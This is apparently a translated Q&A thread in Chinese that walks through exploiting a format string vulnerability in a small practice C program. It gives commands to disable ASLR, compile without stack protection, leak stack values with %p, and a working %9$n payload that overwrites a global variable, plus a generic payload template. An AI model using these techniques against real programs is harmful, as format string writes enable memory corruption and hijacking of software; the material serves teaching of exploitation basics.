如何使用格式字符串攻击

假设我有以下代码:

#include  #include  #include  int num1 = 0; int main(int argc, char **argv){ double num2; int *ptr = &num1; printf(argv[1]); if (num1== 2527){ printf("Well done"); } if(num2 == 4.56) printf("You are a format string expert"); return 0; } 

我正在努力了解如何正确行事,但我无法用互联网上的指南来组织我的思想。

它假设是这样的:

 ./Program %p %p %p %p 

然后

  ./Program $( printf "\xAA\xAA\xAA\xAA") %.2523d%n 

我只是想不出来,请帮我解决这个问题。

其重点是通过prinft函数将字符串利用到正在运行的程序中。 我需要得到“做得好”和“你是格式字符串专家”才能打印出来。 就我而言,通过Linux终端/ shell。 正如HuStmpHrrr所注意到的:这确实应该是White Hacking – Software Security

首先,我建议您阅读“ Hacking: The Art of Exploitation ”一书。 这很棒。

现在我尝试解释如何利用您的程序。 我假设你了解一些关于Format String Exploits的基础知识,所以我不必从一开始就知道。 但是,禁用ASLR并编译可执行文件而不进行堆栈保护非常重要。

 # disable ASLR @> echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # compile without stack protection @> gcc -g -fno-stack-protector -z execstack fmt.c 

我稍微修改了你的程序,因此更容易理解这个漏洞是如何工作的:

 #include  int num1 = 0xdead; int main(int argc, char **argv){ int num2 = 0xbeef; int *ptr = &num1; printf(argv[1]); if (num1 == 0xabc){ printf("Well done"); } if(num2 == 0xdef) printf("You are a format string expert"); printf("\n[DEBUG] num1: 0x%x [%p] num2: 0x%x [%p]\n", num1, &num1, num2, &num2); return 0; } 

我使用的是64位Ubunty系统。 指针大小为8个字节。

漏洞利用

变量num1

首先,我们尝试更改变量num1num1的地址存储在ptrptr是main中的局部变量,因此它被放在堆栈上(类型为int *)。 要检查堆栈,我们可以使用%p格式说明符。

 @> ./a.out %p.%p.%p.%p.%p.%p.%p.%p.%p 

输出:

 0x7fffffffdf78.0x7fffffffdf90.(nil).0x7ffff7dd4e80.0x7ffff7dea560.0x7fffffffdf78.0x200400440.0xbeefffffdf70.0x601040 [DEBUG] num1: 0xdead [0x601040] num2: 0xbeef [0x7fffffffde84] 

我们可以看到第9个元素的值为0x601040 。 这与我们的调试消息num1: 0xdead [0x601040]的值相同num1: 0xdead [0x601040] 。 现在我们知道0x601040是指向变量num1的指针,它位于堆栈上。 要更改该值(在内存中写入),我们可以将%n格式说明符与直接参数访问%9$n结合使用,以写入存储在第9个堆栈位置的地址。

要获得对Well done消息的访问,我们只需要向stdout写入0xabc值并使用%n在内存中写入该数字:

 @> ./a.out `python -c "print('A' * 0xabc)"`%9\$n 

我使用python来生成输出。 现在该程序打印“做得好”。

变量num2

如果我们仔细观察输出,我们会看到第8个元素的值为beef 。 那是我们的变量num2 。 我仍然没弄清楚,如何利用num2但我试着解释如何在理论上做到这一点。 我们想在堆栈上放置一个任意的内存地址。 该地址应该是指向num2( 0x7fffffffde84 )的地址。 之后我们可以使用%n参数写入该地址。 要在堆栈上放置地址,我们可以使用格式字符串。

 @> ./a.out `printf "\x08\x07\x06\x05\x04\x03\x02\x01"` 

问题是我们必须在堆栈上找到这个格式字符串的位置。

 @> ./a.out AAAA`printf "\x08\x07\x06\x05\x04\x03\x02\x01"`BBBB`python -c "print('%p.' * 200)"` 

‘A’和’B’只是填充,在输出中也更容易找到我们的地址。 该漏洞看起来类似于num1漏洞利用方式:

 @> ./a.out ADDRESS`python -c "print('A' * VAL_TO_WRITE)"`PADDING%LOCATION_OF_ADDRESS\$n 

问题:在我们的场景中, num2的地址是0x7fffffffde84 (即0x00007fffffffde84 )。 该地址无法写入,因为0x00是C字符​​串终结符。 所以我们不能把地址放在我们的格式字符串中。